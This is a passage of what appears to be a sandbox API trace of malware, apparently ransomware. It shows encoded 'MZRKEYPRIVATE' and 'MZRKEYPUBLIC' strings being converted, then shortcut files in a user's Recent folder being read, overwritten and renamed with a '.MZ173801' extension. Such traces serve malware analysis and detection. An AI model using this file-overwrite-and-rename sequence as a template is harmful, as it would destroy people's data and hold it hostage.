lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.723] GetCurrentThreadId () returned 0xab4 [0152.723] GetCurrentThreadId () returned 0xab4 [0152.723] GetCurrentThreadId () returned 0xab4 [0152.723] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.723] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.723] GetCurrentThreadId () returned 0xab4 [0152.723] GetCurrentThreadId () returned 0xab4 [0152.724] GetCurrentThreadId () returned 0xab4 [0152.724] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xC-u2wjwqhihKd-.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xc-u2wjwqhihkd-.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.724] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.724] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.724] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x505 [0152.724] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.724] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x505, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x505, lpOverlapped=0x0) returned 1 [0152.725] CloseHandle (hObject=0x280) returned 1 [0152.725] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xC-u2wjwqhihKd-.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xc-u2wjwqhihkd-.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.726] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x505, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x505, lpOverlapped=0x0) returned 1 [0152.727] CloseHandle (hObject=0x280) returned 1 [0152.728] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xC-u2wjwqhihKd-.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xc-u2wjwqhihkd-.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xC-u2wjwqhihKd-.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xc-u2wjwqhihkd-.lnk.mz173801")) returned 1 [0152.730] GetCurrentThreadId () returned 0xab4 [0152.730] GetCurrentThreadId () returned 0xab4 [0152.730] GetCurrentThreadId () returned 0xab4 [0152.730] GetCurrentThreadId () returned 0xab4 [0152.730] GetCurrentThreadId () returned 0xab4 [0152.730] GetCurrentThreadId () returned 0xab4 [0152.730] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf140989b, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x4dffa7b2, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4dffa7b2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x43f, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="XIPVtvqfodb6mWbl.lnk", cAlternateFileName="XIPVTV~1.LNK")) returned 1 [0152.730] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.730] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.730] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XIPVtvqfodb6mWbl.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xipvtvqfodb6mwbl.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf140989b, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x4dffa7b2, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4dffa7b2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x43f)) returned 1 [0152.730] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XIPVtvqfodb6mWbl.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xipvtvqfodb6mwbl.lnk")) returned 0x20 [0152.730] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XIPVtvqfodb6mWbl.lnk", dwFileAttributes=0x80) returned 1 [0152.732] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.732] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.733] GetCurrentThreadId () returned 0xab4 [0152.733] GetCurrentThreadId () returned 0xab4 [0152.733] GetCurrentThreadId () returned 0xab4 [0152.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 